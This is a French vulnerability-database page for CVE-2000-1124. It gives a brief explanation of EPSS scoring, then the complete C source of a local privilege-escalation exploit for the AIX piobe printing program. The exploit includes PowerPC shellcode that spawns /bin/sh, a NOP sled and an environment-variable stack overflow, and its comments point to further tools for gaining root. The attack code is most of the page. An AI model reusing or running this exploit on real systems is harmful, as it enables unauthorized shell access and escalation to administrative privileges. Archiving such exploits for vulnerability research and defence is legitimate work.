CVE-2000-1124 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/2037/info AIX is a variant of the UNIX Operating System, distributed by IBM. A problem exists which can allow a local user elevated priviledges. The problem exists in the piobe program. Due to the insuffient handling of the PIOSTATUSFILE, PIOTITLE, and PIOVARDIR environment variables, it's possible to overwrite stack variables. This makes it possible for a malicious user to pass specially formatted strings to the program via environment variables, and potentially gain administrative access. */ /*## copyright LAST STAGE OF DELIRIUM dec 2000 poland *://lsd-pl.net/ #*/ /*## /usr/lib/lpd/piobe #*/ /* note: to avoid potential system hang-up please, first obtain the exact */ /* AIX OS level with the use of the uname -a or oslevel commands */ /* this code gives privilages of a printq group and command shell (without */ /* a prompt). from that point euid=root can be gained with the use of our */ /* aix_piodmgrsu or aix_digest codes */ #define ADRNUM 3000 #define NOPNUM 16000 char shellcode[]= "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel <shellcode> */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ "\x90\x7f\xff\x10" /* st r3,-240(r31) */ "\x90\xbf\xff\x14" /* st r5,-236(r31) */ "\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */ "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca */ "/bin/sh\xff" ; char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv,char **e){ char buffer[20000],adr[4],*b,*envp[4]; int i,align; printf("copyright LAST STAGE OF DELIRIUM dec 2000 poland //lsd-pl.net/\n"); printf("/usr/lib/lpd/piobe for aix 4.1 4.2 4.3 4.3.x PowerPC/POWER\n\n"); if(argc<2){ printf("usage: %s 41|42|43|433\n",argv[0]);exit(-1); } switch(atoi(argv[1])){ case 41: shellcode[55]=0x03;align=2; break; case 42: shellcode[55]=0x02;align=0; break; case 43: shellcode[55]=0x04;align=0; break; case 433: shellcode[55]=0x03;align=0; break; default: exit(-1); } i=0; while(*e++) i+=strlen(*e)+1; *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000; envp[0]="PIOSTATUSFILE=lsd"; envp[1]=buffer; envp[2]=&buffer[3500]; envp[3]=0; b=buffer; strcpy(b,"PIOVARDIR=");b+=10; for(i=0;i<align;i++) *b++=' '; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=&buffer[3500]; sprintf(b,"xxx=");b+=4; for(i=0;i<3-align;i++) *b++=' '; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; execle("/usr/lib/lpd/piobe","lsd",0,envp); }